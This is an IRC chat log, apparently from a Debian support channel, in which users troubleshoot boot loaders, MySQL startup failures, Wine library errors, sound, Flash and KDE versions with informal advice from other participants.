| 03:19.09 | Devastator | ok, i didn't mean to create a discussion |
| 03:19.18 | markybob | martian67, you think you'll find a job that says "can ignore the last three years of development" ? |
| 03:19.34 | martian67 | think you will find a job that lists grub as a requirement |
| 03:19.37 | martian67 | like i said, get real |
| 03:19.41 | Devastator | i was just trying to say that i like lilo, and never used grub for a long period to get know it |
| 03:19.44 | Devastator | period |
| 03:20.04 | martian67 | i prefer lilo, but anyone that can use lilo, can figure out grub |
| 03:20.08 | martian67 | its not rocket science |
| 03:20.20 | purplepenguins | yep |
| 03:20.31 | Vasistha | Devastator: isn't is funny how an innocent expression of opinion on your part can start a heated argument between others with strong opinions? |
| 03:20.38 | markybob | that's not even close to true. an awful lot of newbies have a hard time with grub-install |
| 03:21.01 | martian67 | markybob, and they find lilo-install easy? |
| 03:21.07 | martian67 | k |
| 03:21.19 | markybob | lilo *is* easier to configure |
| 03:21.26 | Devastator | Vasistha really funny |
| 03:21.56 | donkehofdarkness | my motherboard has an intel sata controller and a marvell controller. Which one would you all recommend using? |
| 03:21.56 | Devastator | to be clear, i just don't like how grub treat device syntax |
| 03:21.57 | Vasistha | heh, I've been using grub for several years now, and I still get scared when I have to use grub-install. I remember a debian install going afowl on me, and finding myself on an airplane with an unbootable machine ... and then I had to figure out how to use grub-install to fix myself. |
| 03:21.58 | martian67 | markybob, if you can figure out lilo, but not grub you have some learning issues |
| 03:21.59 | martian67 | sorry |
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| 03:22.02 | donkehofdarkness | I've only used the intel so far |
| 03:22.06 | kunwon1 | also, vi > emacs |
| 03:22.40 | Vasistha | donkehofdarkness: use the yellow one |
| 03:22.40 | martian67 | Vasistha, its not hard to use a bootcd and root= :P |
| 03:22.41 | donkehofdarkness | I have no yellow one |
| 03:22.43 | donkehofdarkness | =/ |
| 03:23.01 | Vasistha | martian67: being on an airplane restricts access to bootcds ;) |
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| 03:23.17 | martian67 | ah :) |
| 03:23.33 | martian67 | well doing anything of that nature on a plane is probly not the best plan |
| 03:23.38 | Devastator | Vasistha always put one in your pocket lol |
| 03:23.46 | donkehofdarkness | usb sticks ftw |
| 03:24.15 | Devastator | markybob ok, i will use grub from now on |
| 03:24.44 | Devastator | is there a place so i can buy "grub: the bible"? |
| 03:24.47 | Vasistha | Devastator: I had the debian install cd! I thought that would be good enough. heh. and in the end it was. What I was attempting was to install an encrypted bootable debian on a usb stick; but the debinst default grub-install screwed up my hdd's boot |
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| 03:25.02 | martian67 | Devastator, would be a short book |
| 03:25.25 | donkehofdarkness | p00p |
| 03:25.27 | donkehofdarkness | p00p! |
| 03:25.36 | Vasistha | Devastator: there's a decent manual floating around the internet. unfortunately I don't think it gives a good guide about "here's the basics for getting started" |
| 03:25.44 | pingouin | how can i check how much memory an application use ? for instance iceweasel ? |
| 03:25.53 | donkehofdarkness | top |
| 03:25.54 | Devastator | top? |
| 03:26.04 | martian67 | pingouin, its hard to know 100% for sure |
| 03:26.13 | martian67 | so dont freak out when it lists a lot of memory being used |
| 03:26.20 | martian67 | because it includes shared libs by default |
| 03:26.24 | martian67 | something windows dosent do |
| 03:26.34 | martian67 | so many apps can report the same memory "in use" |
| 03:26.45 | pingouin | but which command ? |
| 03:26.49 | martian67 | free |
| 03:26.51 | martian67 | or top |
| 03:26.56 | Devastator | can you guys help me convert this syntax into unionfs-fuse syntax? mount -t unionfs -o dirs=/tmp/dir1=rw:/tmp/dir2=ro none /tmp/union |
| 03:27.01 | martian67 | not free nm |
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| 03:28.39 | nsadmin | so I'm trying to configure dhcp3 to have a pair of subnets on the same wire |
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| 03:29.30 | Devastator | nsadmin i think you will need to create an alias interface |
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| 03:32.07 | pingouin | ok martian67 thank you |
| 03:32.08 | nsadmin | I tried that, dhcpd still doesn't like that it's on the same wire |
| 03:32.23 | nsadmin | but yeah, I got that far |
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| 03:51.45 | adfasdf | hi i seem to be haveing a library problem. When i try to install a windows ap with wine i get this error: http://pastebin.com/d42a26cd8 |
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| 03:53.35 | jmarsden | adfasdf: Based on "libgcc_s.so.1: wrong ELF class: ELFCLASS64" I suspect you have a 64bit vs 32bit issue somewhere? |
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| 03:53.58 | adfasdf | yeppers. 64bit on lenny squeeze |
| 03:54.25 | adfasdf | before i had a libuuid problem but now if have this one |
| 03:55.04 | jmarsden | So it seems WINE is expecting a 32bit set of libs and you are providing only 64bit ones. Maybe you have to do something "special" to get WINE to work on a 64bit Linux base OS? |
| 03:55.30 | jmarsden | just uses virtualbox to run Windows stuff in a separate VM, so I've not tried WINE on 64bit. |
| 03:56.31 | adfasdf | it worked before well until i updated. i resolved this libuuid issue by upgrading to ia32 expriental version |
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| 03:57.57 | adfasdf | that's ia32 libs |
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| 04:06.15 | luke3321 | does anyone know of a tool that lists all the necessary include paths to use a library in a c++ program? |
| 04:06.29 | cipherz | anyone experienced sound distortion in debian lenny for flash ? |
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| 04:07.16 | cipherz | luke3321, depends on the library, e.g. apache/php/other projects includes a command to tell you the include path for the setup on a given box |
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| 04:08.02 | luke3321 | cipherz: Yeah, but I thought I remembered something of a generic tool that is able to do that for all libraries |
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| 04:08.13 | luke3321 | Or try for that matter |
| 04:08.46 | cipherz | luke3321, hmm pkg-config ? |
| 04:09.15 | luke3321 | and we have a winner |
| 04:09.17 | cipherz | luke3321, but otherwise, I dont know which make system you use, but for cmake there are scripts to help you setup include paths for commonly used libraries |
| 04:09.17 | luke3321 | that is it |
| 04:09.51 | luke3321 | cool, well thanks for the help |
| 04:10.37 | cipherz | luke3321, no worries, in return I expect you to give me a good solution for my distorted flash sound problem with most youtube clips :\ (j/k ... poor morning humor :p) |
| 04:11.09 | luke3321 | cipherz: haha well sorry to say i am of no help there ;) |
| 04:11.14 | luke3321 | and its night here |
| 04:11.28 | cipherz | 6am where I currently live |
| 04:11.48 | luke3321 | 9 pm here |
| 04:11.53 | cipherz | gonna be weird, in like 6 days I'm moving to the US.. 6 hours time diff |
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| 04:13.22 | luke3321 | cipherz: Ah, where in the US? |
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| 04:13.46 | ctmjr | cipherz: you will be a time traveler |
| 04:13.49 | cipherz | luke3321, upstate NY |
| 04:13.58 | luke3321 | ah |
| 04:14.00 | luke3321 | fun stuff |
| 04:14.02 | cipherz | ctmjr, apparently yeah |
| 04:14.29 | cipherz | luke3321, weird... used to laid back rural-danish-laws, and then going to a rather large (for danish standards) US city |
| 04:14.39 | cipherz | s/for/by/ ofc |
| 04:15.20 | luke3321 | Bet that will be a big transition. Why the big move? |
| 04:16.41 | cipherz | got offered to do a research project with a respected researcher in a field of interest, before I do my master thesis |
| 04:17.01 | cipherz | and well it doesnt hurt to see some of the world while you're at it I suppose |
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| 04:20.05 | adfasdf | how do i make a symlink for the file /usr/lib32/libgcc_s.so.1 to /usr/lib64? |
| 04:20.32 | adfasdf | oh and hello. |
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| 04:21.33 | cipherz | adfasdf, erhmm ln -s but why would you want to do that ? |
| 04:22.06 | adfasdf | well i think my wine is looking in lib64 for a 32 bit file and i thinks it isn't there |
| 04:22.31 | adfasdf | it thinks it isn't there |
| 04:23.09 | luke3321 | adfasdf: Wine is being affected quite strongly by some ia32-libs transition, alot of that sorta stuff is happening |
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| 04:30.38 | adfasdf | i still get libgcc_s.so.1 must be installed when i run a windows app with wine |
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| 04:32.50 | jmarsden | adfasdf: <luke3321> adfasdf: Wine is being affected quite strongly by some ia32-libs transition, alot of that sorta stuff is happening |
| 04:33.04 | jmarsden | adfasdf: In other words: wait a few days and try again :) |
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| 04:33.20 | adfasdf | oh okay so it's a common new issue? |
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| 04:33.40 | luke3321 | adfasdf: It has been happening to many people for about the past week |
| 04:33.47 | deco_ | is kde4 available for debian unstable ? |
| 04:34.45 | adfasdf | okay thanks guys |
| 04:34.50 | adfasdf | or girls i guess |
| 04:35.13 | adfasdf | i know luke is a guy but jmarsden i dont know |
| 04:35.29 | luke3321 | haha its fine |
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| 04:35.33 | jmarsden | is a guy too :) |
| 04:36.30 | adfasdf | cool. latr |
| 04:36.48 | deco_ | is kde4 available for debian unstable ? |
| 04:37.03 | luke3321 | deco_: I believe so, but don't quote me on that |
| 04:38.09 | adb | deco_: try pdo |
| 04:38.34 | adb | dpkg: tell deco_ -about pdo |
| 04:39.33 | deco_ | adb: thanks! |
| 04:40.19 | adb | dpkg: tell deco_ -about kde4 |
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| 04:42.02 | eitan | Hello all. Does anyone here know how to add a scaling function to the iceweasel function "page setup"? |
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| 05:04.33 | tenzind | hi, just upgraded to linux-image-2.6.30-1-686 on a laptop running squeeze and i get warnings possible missing firmware for module tg3 (http://pastebin.ca/1532164) . will this cause serious problems?? |
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| 05:06.21 | adb | seen that tg3 here too , not any issue thought seen |
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| 05:09.39 | budo | hi. just installed lenny stable version 5 net install and sound not working |
| 05:10.31 | purplepenguins | !alsacheck |
| 05:10.36 | purplepenguins | hmm, what is that command |
| 05:10.38 | purplepenguins | !alsa |
| 05:10.39 | dpkg | ALSA is the Advanced Linux Sound Architecture, a project providing device drivers for sound cards. To install, ask me about <alsa install>. See also <alsa-checklist>, <alsa firmware>, <alsa versions>, <alsaconf>. http://wiki.debian.org/ALSA http://www.alsa-project.org/ #alsa on irc.freenode.net. |
| 05:10.57 | adb | alsaconf |
| 05:11.37 | budo | alsaconf is an invalid command on this system |
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| 05:11.53 | adb | install alsa-utils |
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| 05:12.31 | adb | dpkg: tell budo -about alsa-checklist |
| 05:13.11 | purplepenguins | that was the one |
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| 05:17.08 | li9ht | how to configure perl and cgi to work oh apache2 debian.. keeps offering to download file everytime accessing perl script |
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| 05:17.38 | Devastator | li9ht check your httpd.conf and uncomment proper lines |
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| 05:17.58 | Nikke | where can i find wmii configs_ |
| 05:17.59 | Nikke | ? |
| 05:17.59 | li9ht | which proper line.... |
| 05:18.07 | Nikke | i need to move them to my home |
| 05:19.00 | Devastator | li9ht i can't remember the correct name by head, but it's something with application-x.... |
| 05:19.22 | Devastator | don't forget to restart your apache when you're done |
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| 05:20.10 | adb | Nikke: dpkg -L wmii |
| 05:21.49 | li9ht | nope there's nothing in the apache2.conf that start's with application-x.. httpd.conf is empty btw |
| 05:22.04 | budo | cool it works now : ) |
| 05:22.38 | Devastator | li9ht did you compiled your apache or used apt-get? |
| 05:22.50 | li9ht | aptitude |
| 05:22.56 | li9ht | dont know how to compile |
| 05:23.48 | Devastator | i don't mess with apache for a long time, i can't help you, sorry |
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| 05:23.54 | li9ht | ok np... |
| 05:23.58 | li9ht | thx anyway |
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| 06:33.03 | ramontayag | hi all. i get an error when i try to remove sendmail http://pastie.org/585587 . i have 1gb of memory so that error about not being able to allocate memory shouldn't come out. i don't know if it's an ubuntu, debian, linux or sendmail error. what should i do? |
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| 06:36.11 | Nikke | i got some problems with my nvidia driver after upgrading to squeeze from lenny... |
| 06:36.15 | Nikke | cant start x |
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| 06:44.48 | itsosimpo | hello, i'm having trouble installing mysql...er mysqld (mysql-server???) |
| 06:45.07 | Nikke | itsosimpo: what the problem? |
| 06:45.16 | Nikke | mysql-server-5.0 is the name i thinkw |
| 06:45.18 | Nikke | think* |
| 06:46.19 | itsosimpo | i can't find mysqld.sock |
| 06:46.53 | itsosimpo | i have mysql.sock though it's in /var/lib/mysql/mysql.sock |
| 06:47.26 | Nikke | maybe its the same? |
| 06:47.52 | itsosimpo | is it? |
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| 06:48.03 | Nikke | itsosimpo: i dont know :P |
| 06:48.17 | Nikke | said maybe :P |
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| 06:49.13 | itsosimpo | i reinstalled it and now mysql.sock is gone too |
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| 06:49.40 | itsosimpo | i tried making a symbolic link to mysql.sock where the socket was directed before |
| 06:49.42 | itsosimpo | but idk what happened |
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| 06:49.57 | itsosimpo | it didn't work |
| 06:49.59 | itsosimpo | is all know |
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| 06:50.41 | Devastator | google is your friend |
| 06:50.49 | Nikke | i got some problems with my nvidia driver after upgrading to squeeze from lenny... |
| 06:50.52 | Nikke | cant start x now |
| 06:50.54 | itsosimpo | yeah usually google is my friend, this time no |
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| 06:51.07 | itsosimpo | when i try to start sql i get a fail |
| 06:51.08 | nighter | itsosimpo: my.cnf specify where the socket is located. |
| 06:51.15 | itsosimpo | i did that |
| 06:51.23 | itsosimpo | and then i tried to restart mysql, it didn't work |
| 06:52.03 | itsosimpo | ugh now i can't even find the socket file |
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| 06:52.21 | nighter | probarly because mysql is not running ? |
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| 06:53.24 | itsosimpo | so i invoke the command "/etc/init.d/mysql start" |
| 06:53.35 | itsosimpo | and get this: "Starting MySQL database server: mysqld . . . . . . . . . . . . . . failed! |
| 06:53.35 | itsosimpo | " |
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| 06:54.36 | Devastator | itsosimpo look at log |
| 06:55.18 | itsosimpo | where is log? |
| 06:55.36 | Devastator | hum /var/log |
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| 06:55.53 | Gottox | morgen :) |
| 06:56.37 | Gottox | Got a small question: Is there a fix for the newly discovered local root exploit in the debian kernel? |
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| 06:57.51 | Devastator | Gottox which kernel? the possible fix is to update it |
| 06:58.08 | itsosimpo | hm in /var/log there's a dir called mysql and it's empty...there's also a mysql.err and a mysql.log...then there are a bunch of gzipped files mysql.log.1.gz ...to mysql.log.2.gz |
| 06:58.26 | itsosimpo | mysql.log and mysql.err are also empty |
| 06:58.29 | Gottox | Devastator: the default i686 kernel. |
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| 06:59.06 | Gottox | got to update >100 boxes. So I want to be sure it's fixed. |
| 06:59.27 | Devastator | hum, i don't have that information |
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| 06:59.52 | Gottox | K. i'll try it. |
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| 07:00.16 | Devastator | itsosimpo clear logs and then try to start it again |
| 07:00.26 | itsosimpo | like rm them? |
| 07:00.36 | itsosimpo | they're all empty |
| 07:00.36 | Devastator | yep |
| 07:00.47 | craigevil | Gottox: its fixed it the newest debian kernels |
| 07:01.09 | kiminaiseah | @itsosimpo in what wave you re-installed your mysql? |
| 07:01.16 | kiminaiseah | way* |
| 07:01.41 | itsosimpo | apt-get install mysql-server |
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| 07:01.53 | Gottox | craigevil: thanks :) |
| 07:02.09 | jeeves_Moss | I was following this howto (http://www.debianadmin.com/how-to-sendemail-from-the-command-line-using-a-gmail-account-and-others.html) and now I'm lost. Can somone tell me if it actully works, or if it's a farse? |
| 07:02.19 | nighter | itsosimpo: You can start the mysql manualy, not from the start script, and look what happends. safe_mysqld --user=mysql |
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| 07:03.37 | itsosimpo | <PROTECTED> |
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| 07:05.38 | kraut | moin |
| 07:05.40 | Devastator | itsosimpo how did you uninstalled mysql and mysqld? apt-get remove mysql? |
| 07:05.58 | meglo | I'm having my xserver crash under debian lenny with xfce4 whenever I launch my terminal(and before installing mozilla, a non-existent browser). I'm not sure why this is or how I would deal with it(hoping someone can point me in the right direction). Here is a stack trace: http://pastebin.com/m6ec7f66c |
| 07:06.04 | itsosimpo | <PROTECTED> |
| 07:06.39 | Devastator | itsosimpo try also dpkg -P mysql-server |
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| 07:06.49 | Devastator | and then aptitude install mysql-server |
| 07:06.52 | kiminaiseah | have you try reconfigure config using dpkg-reconfigure mysql-server ? |
| 07:06.52 | meglo | I think it has to do with Xfce's menu or launcher deal :\ |
| 07:06.58 | Devastator | use aptitude instead of apt-get |
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| 07:08.06 | itsosimpo | kiminaiseah: no i did not try that |
| 07:08.12 | itsosimpo | i don't even know where all the files go |
| 07:08.31 | itsosimpo | i can't find mysqld.sock either |
| 07:10.14 | nighter | itsosimpo: dpkg -l |grep mysql then dpkg -L mysql-server or what the pakage name is called. look where the mysql_safe landed. |
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| 07:11.09 | kiminaiseah | @itsosimpo you cant see mysqld.sock when mysql not running |
| 07:11.57 | omid8bimo | enjoys AWESOME window manager :) |
| 07:12.57 | Cerise | hey, i'm going to install debian 5.0.2 amd64 and i want to use kde4. is there a way to install kde4 during the installation process, and are there translations to german? |
| 07:13.23 | fireba11 | Cerise: translations of what? |
| 07:13.39 | Cerise | kde |
| 07:13.50 | itsosimpo | hmm is mysql_safe listed when i do dpkg -l |grep mysql? |
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| 07:14.36 | itsosimpo | err is it supposed to be? cos it's not |
| 07:14.45 | nighter | itsosimpo: nop but when you write mysql -L mysql-server |
| 07:14.45 | neo8848 | = newbie joined |
| 07:15.25 | crzedmonk | hello friends |
| 07:15.32 | Dr_Sunglasses | having some trouble with adobe's flash plugin on iceweasel... i can't click on an "accept" dialog when it asks me if i want to let it access my webcam. also, when i right-click a flash app and go into Settings... my mouse clicks become unresponsive |
| 07:15.34 | nighter | itsosimpo: but you need to know the pakage name of mysql to be able to run mysql -L <pakage name> and that you find out with mysql -l |grep mysql |
| 07:15.58 | crzedmonk | I am running into a problem when I try to unpack a rar file it give me bash: rar: command not found I have both rar and unrar installed thank you in advanced for help |
| 07:16.30 | kiminaiseah | apt-get install unrar |
| 07:16.36 | crzedmonk | I did that |
| 07:16.41 | crzedmonk | and purged it |
| 07:16.44 | crzedmonk | and reinstalled it |
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| 07:17.07 | kiminaiseah | how you executed the command? |
| 07:17.11 | crzedmonk | and it is unrar-free now just fyi |
| 07:17.27 | kiminaiseah | try w/o -free just unrar |
| 07:17.28 | crzedmonk | <PROTECTED> |
| 07:17.36 | itsosimpo | oh there are a bunch of them |
| 07:17.51 | crzedmonk | aptitude and apt get both do not say they are a package with out the -free |
| 07:18.16 | nighter | itsosimpo: look where safe_mysqld is located. Go to that path and ./mysqld_safe --user=mysql |
| 07:18.19 | kiminaiseah | append the extension filename filename.rar |
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| 07:18.51 | taras | is it possible to build own x.org? for enable desktop effects in kde4.3.0 built from source I need to update intel video driver, which reguire libdrm >=2.4.11 and x.org_1.6.2 is recommended |
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| 07:20.55 | craigevil | taras: all of that is in unstable including kde4.3 |
| 07:21.01 | itsosimpo | hmmm i can't find it |
| 07:21.42 | kiminaiseah | @itsosimpo have you try use locate ? $locate mysql | grep -E '/usr|/sbin|/bin' |
| 07:22.37 | itsosimpo | lkiminaiseah: thanks |
| 07:22.39 | itsosimpo | found it |
| 07:22.57 | kiminaiseah | then try the mysqld_safe --user=mysql |
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| 07:23.08 | taras | craigevil: yeah... I'm trying to get in on lenny |
| 07:23.17 | taras | what will fail as I see :) |
| 07:23.39 | Cerise | which version of kde is there in debian 5.0.2? |
| 07:23.46 | taras | 3.5.20 |
| 07:23.48 | taras | ew |
| 07:23.49 | taras | 10* |
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| 07:24.12 | craigevil | stable has 3.5.10 the last version of kde worth running |
| 07:24.20 | matt7676 | I would like to execute "ifconfig" after 10s of waiting. I mean something like "sleep 10 ifconfig". However, how is the right command for this? |
| 07:24.24 | Cerise | and kde4? :S |
| 07:24.42 | craigevil | testing has kde4.2 and sid has 4.3 |
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| 07:24.53 | itsosimpo | i type this: "/usr/bin/mysqld_safe --user=mysql" and i get this: " nohup: ignoring input and redirecting stderr to stdout | Starting mysqld daemon with databases from /var/lib/mysql | mysqld_safe[7992]: started |STOPPING server from pid file /var/run/mysqld/mysqld.pid | mysqld_safe[7998]: ended |
| 07:24.53 | itsosimpo | " |
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| 07:25.01 | taras | will 4.3 be included into testing soon? |
| 07:25.12 | Cerise | hm. |
| 07:25.31 | Cerise | well then |
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| 07:26.22 | itsosimpo | /var/run/mysqld is empty but there are files in /var/lib/mysql |
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| 07:26.38 | Cerise | install debian normally, edit /etc/apt/sources.list to enable unstable, then apt-get update and install kde? |
| 07:26.46 | Cerise | is this possible? |
| 07:26.56 | Devastator | yep |
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| 07:27.05 | craigevil | Cerise: yes but keep in mind sid breaks |
| 07:27.12 | kiminaiseah | yes, you couldnt find the mysql sock when there no mysql running |
| 07:27.22 | taras | btw, is it possible to downgrade back? |
| 07:27.24 | kiminaiseah | what you find in mysql.err? |
| 07:27.31 | craigevil | taras: no |
| 07:27.33 | deco | i want to download the first debian testing kde cd from mirrors but they use different names for it some say current-live and current which one is testing ? |
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| 07:27.52 | Cerise | [09:27:45] <craigevil> Cerise: yes but keep in mind sid breaks << and when something breaks, what to do? |
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| 07:28.02 | craigevil | Cerise: you can use debbootstrap and install unstable directly |
| 07:28.10 | itsosimpo | well i deleted all the mysql files in /var/log |
| 07:28.26 | gamla_kossan | H2S04: holgi? |
| 07:28.27 | taras | hm maybe I'll try then build kde4.3 on pc with lenny and nvidia |
| 07:28.31 | craigevil | Cerise: you either wait until it gets fixed or you figure out how to fix it |
| 07:28.34 | valdyn | deco: use the stable installer, testing or unstable installers dont work usually |
| 07:28.44 | deco | valdyn: why don't they work ? |
| 07:29.05 | itsosimpo | /var/log/mysql.err was empty though |
| 07:29.20 | Cerise | [09:27:45] <craigevil> Cerise: yes but keep in mind sid breaks << ...huh? |
| 07:29.31 | valdyn | deco: they're in development |
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| 07:29.51 | Cerise | oh, wrong paste. |
| 07:29.56 | deco | valdyn: oh ok , what's new in 5.0.2 ? |
| 07:29.56 | kiminaiseah | okay |
| 07:29.57 | kiminaiseah | try mysqld_safe --defaults-file=/etc/mysql/my.cnf --log-error=/tmp/mysql.log |
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| 07:31.04 | deco | blah im sticking to slackware |
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| 07:31.19 | valdyn | !topicsmite deco |
| 07:31.19 | dpkg | And the wrath of /TOPIC descended with terrible fury upon deco. And all the people marveled, saying, Behold, we too should read the /TOPIC, lest we be stricken. And all the people read the /TOPIC, and went away edified. |
| 07:31.21 | Cerise | [09:28:41] <craigevil> Cerise: you can use debbootstrap and install unstable directly << what do you mean? what's debbootstrap? ;< |
| 07:31.28 | crzedmonk | ok |
| 07:31.30 | itsosimpo | kiminaiseah: same error |
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| 07:31.42 | crzedmonk | so unrar-free works but it fails |
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| 07:31.48 | crzedmonk | where can I viwe the error log? |
| 07:31.51 | crzedmonk | view |
| 07:31.52 | Cerise | sry, but i'm new to that. |
| 07:32.02 | DeSian | crzedmonk, /var/log |
| 07:32.10 | crzedmonk | thank you |
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| 07:32.26 | deco | atleast i know developers won't mess up my slackware's openssl :P |
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| 07:32.38 | crzedmonk | ok I think I got it |
| 07:32.48 | crzedmonk | also I am having frlash toubles with ice weasel |
| 07:32.49 | kiminaiseah | @itsosimpo try $ps faux | mysql |
| 07:32.51 | nighter | itsosimpo: my experience says it could be a permission problem. Check that /var/lib/mysql |
| 07:32.58 | crzedmonk | I figure it is pretty common anyone here know the fix? |
| 07:33.04 | nighter | ownes by the right user |
| 07:33.05 | kiminaiseah | @itsosimpo maybe |
| 07:33.20 | itsosimpo | cat: /tmp/mysql.log: No such file or directory |
| 07:34.10 | itsosimpo | drwxr-xr-x 2 mysql |
| 07:34.36 | itsosimpo | i'm using root terminal |
| 07:34.45 | crzedmonk | anyone know how to fix flash in lenny? |
| 07:34.50 | Cerise | how to install debian unstable directly? |
| 07:34.54 | kiminaiseah | try su mysql -c "mysqld_safe --defaults-file=/etc/mysql/my.cnf --log-error=/tmp/mysql.log" |
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| 07:35.51 | budo | fix flash? |
| 07:35.56 | itsosimpo | hm works..should i be able to find the socket file now? |
| 07:36.11 | kiminaiseah | try $locate *.sock |
| 07:36.13 | budo | did you just upgrade your browser? |
| 07:36.22 | kiminaiseah | updatedb first |
| 07:36.37 | crzedmonk | how you update the broweser |
| 07:36.47 | crzedmonk | I apt get update and upgrade |
| 07:36.52 | crzedmonk | I did that |
| 07:36.58 | crzedmonk | is there just a browser one |
| 07:37.03 | crzedmonk | sorry I suck at linux |
| 07:37.03 | itsosimpo | locate ? $locate *.sock | grep -E '/usr|/sbin|/bin' returns nothing |
| 07:37.05 | crzedmonk | lol |
| 07:37.10 | budo | explain what is wrong with flash |
| 07:37.16 | budo | its ok. i do too |
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| 07:37.48 | kiminaiseah | no just locate *.sock |
| 07:38.13 | kiminaiseah | maybe its in /var |
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| 07:39.16 | itsosimpo | nothing in /var or /var/run/mysqld |
| 07:39.29 | crzedmonk | It will not run I go to youtube and it runs audio but no video |
| 07:39.52 | budo | interesting |
| 07:40.11 | budo | did u try to remove it and install it again |
| 07:40.19 | kiminaiseah | okay trill kill the mysql, mysqladmin shutdown |
| 07:40.51 | crzedmonk | doing so now |
| 07:41.01 | crzedmonk | I ran into a similar problem in ubuntu |
| 07:41.06 | crzedmonk | I think it is flashes fault |
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| 07:41.27 | Dongorongoro | flash on linux is very unreliable, I've found. :\ |
| 07:41.41 | nighter | itsosimpo: dpkg-recofigure mysql-server could work? |
| 07:41.44 | kiminaiseah | then append this to the last good execution --socket |
| 07:41.47 | crzedmonk | I got it running well in ubunti |
| 07:41.49 | oreo | Hey guys |
| 07:42.02 | oreo | what swap size do you recommend for an amd64 install with 8GB of RAM? |
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| 07:42.17 | kiminaiseah | try su mysql -c "mysqld_safe --defaults-file=/etc/mysql/my.cnf --log-error=/tmp/mysql.log --socket=/tmp/mysql.sock" |
| 07:43.46 | itsosimpo | nighter: dpkg-recofigure mysql-server did not ork |
| 07:43.49 | itsosimpo | work* |
| 07:44.33 | Dongorongoro | oreo: what do you plan on doing with said machine? |
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| 07:44.39 | itsosimpo | kiminaiseah: su mysql -c "mysqld_safe --defaults-file=/etc/mysql/my.cnf --log-error=/tmp/mysql.log --socket=/tmp/mysql.sock" works |
| 07:44.42 | oreo | Dongorongoro: Routing, firewall and web and file services (web services inside openVZ instances) |
| 07:44.50 | oreo | perhaps more in the future |
| 07:44.55 | Dongorongoro | hrm |
| 07:45.16 | budo | crzedmonk: what did you last change, modify, upgrade between the last time it was working and now ? |
| 07:45.56 | Dongorongoro | i'd say 2GB; it gives you a little room, but you really shouldn't need that much swap unless the VMs are going to be running memory intensive things |
| 07:46.14 | kiminaiseah | @itsosimpo for completion you can make a simple script that will call that command upon bootup |
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| 07:46.52 | Dongorongoro | if you plan on having agressive memory usage, maybe 8GB; better safe than sorry :p |
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| 07:47.38 | itsosimpo | hm what did that previous command do? |
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| 07:48.07 | kiminaiseah | su mysql -c "mysqld_safe --defaults-file=/etc/mysql/my.cnf --log-error=/tmp/mysql.log --socket=/tmp/mysql.sock" |
| 07:48.19 | oreo | Dongorongoro: yeah that's true =) i'll set to 8GB then since I also have plenty of disk space |
| 07:49.37 | itsosimpo | i don't have a /tmp/mysql.sock |
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| 07:51.33 | kiminaiseah | @itsosimpo ? try if mysql were running? |
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| 07:55.11 | nighter | itsosimpo: I think it would be alot easier to just reinstall mysql. Just safe /var/lib/mysql if you don't whant to lose your databases. Another resort is to use ltrace safe_mysqld --user=mysql to se what happends or strace same way. |
| 07:55.32 | nighter | s/safe/save/g |
| 07:56.09 | neo8848 | hi, is there any way to allow / prevent a user account from viewing file date attributes, despite giving privilege to view / download the file itself |
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| 07:58.45 | groulder | how do i get aptitude to show me the dependencies for a particular package |
| 07:58.48 | groulder | aptitude show? |
| 07:59.15 | groulder | well |
| 07:59.18 | groulder | actually what i mean is |
| 07:59.26 | groulder | i want to remove a package, and i want to check first if anything depends on it |
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| 08:00.27 | Devastator | groulder you will see when you remove it |
| 08:00.29 | itsosimpo | ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) |
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| 08:01.23 | itsosimpo | /etc/init.d/mysql start |
| 08:01.23 | itsosimpo | Starting MySQL database server: mysqld . . . . . . . . . . . . . . failed! |
| 08:01.32 | jetscreamer | !rdepends |
| 08:01.32 | dpkg | rdepends is probably apt-cache rdepends foo; shows you what depends on foo |
| 08:01.40 | jetscreamer | !apt-rdepends |
| 08:01.40 | dpkg | hmm... apt-rdepends is a program which can show dependencies or reverse dependencies (what depends on the package). It is useful for removing large multi-package applications such as gnome. |
| 08:02.07 | itsosimpo | nighter: i tried uninstalling mysql and then installing it |
| 08:02.30 | itsosimpo | hm time to reboot bbl |
| 08:03.51 | crzedmonk | no ideas how to fix flash? |
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| 08:12.06 | carlyn_ | okay so mysql failed to start again |
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| 08:13.24 | itsosimpo | hello |
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| 08:13.35 | kiminaiseah | maybe it still using the old init startup script |
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| 08:14.00 | itsosimpo | erugh mysql failed to start again |
| 08:14.32 | oreo | What do you guys think about sudo vs root for a server install? |
| 08:15.09 | Phasy13 | How do I get my console colourful? All my text is green in the terminal |
| 08:16.14 | kiminaiseah | @itsosimpo have you replace the init script? |
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| 08:18.24 | rsmith | is dpkg a robot? |
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| 08:18.54 | karmatronic | using dnstunnel how cool is that... |
| 08:18.55 | Devastator | yep |
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| 08:24.37 | itsosimpo | what do i put in init script? |
| 08:25.06 | itsosimpo | su mysql -c "mysqld_safe --defaults-file=/etc/mysql/my.cnf --log-error=/tmp/mysql.log --socket=/tmp/mysql.sock" |
| 08:25.06 | itsosimpo | ?? |
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| 08:28.21 | kiminaiseah | @itsosimpo install apt-get install rcconf -y |
| 08:28.37 | kiminaiseah | @ then after installation $rcconf |
| 08:28.49 | kiminaiseah | @itsosimpo uncheck the mysql |
| 08:29.23 | itsosimpo | ah |
| 08:29.25 | itsosimpo | i can't dl ur file |
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| 08:30.40 | kiminaiseah | try the FF: echo "/bin/su mysql -c "mysqld_safe --defaults-file=/etc/mysql/my.cnf --log-error=/tmp/mysql.log --socket=/tmp/mysql.sock" > /etc/init.d/mysql-manual ; chmod +x /etc/init.d/mysql-manual |
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| 08:32.35 | itsosimpo | cannot access `/etc/init.d/mysql-manual': No such file or directory |
| 08:32.50 | kiminaiseah | @itsosimpo hehe idont have i dea how to kill a processes during shutdown or reboot |
| 08:33.17 | itsosimpo | yeah i dont even know how it's starting up |
| 08:33.20 | itsosimpo | oh |
| 08:33.21 | itsosimpo | wait |
| 08:33.27 | itsosimpo | mgiht be in my fwscript |
| 08:33.56 | itsosimpo | wait not |
| 08:33.57 | crzedmonk | how do you enable all repos? |
| 08:34.20 | kiminaiseah | @crzedmonk even old ones? |
| 08:35.55 | craigevil | crzedmonk: what repos? |
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| 08:56.06 | krisje8 | I upgraded from 2.6.26 to 2.6.30 yesterday night, and this new kernel takes longer to load. Also, it needs certain actions from me to actually continue loading otherwise it keeps hanging. I'm using the stock amd64 kernel. What could be wrong? |
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| 08:56.44 | krisje8 | For example, I have to press ctrl+c once, and a little later press the powerbutton for the booting to continue |
| 08:56.59 | krisje8 | I do not have to do this with the 2.6.26 kernel |
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| 08:57.09 | krisje8 | which is also stock |
| 08:58.16 | kiminaiseah | @krisje8 how you made the upgrade? |
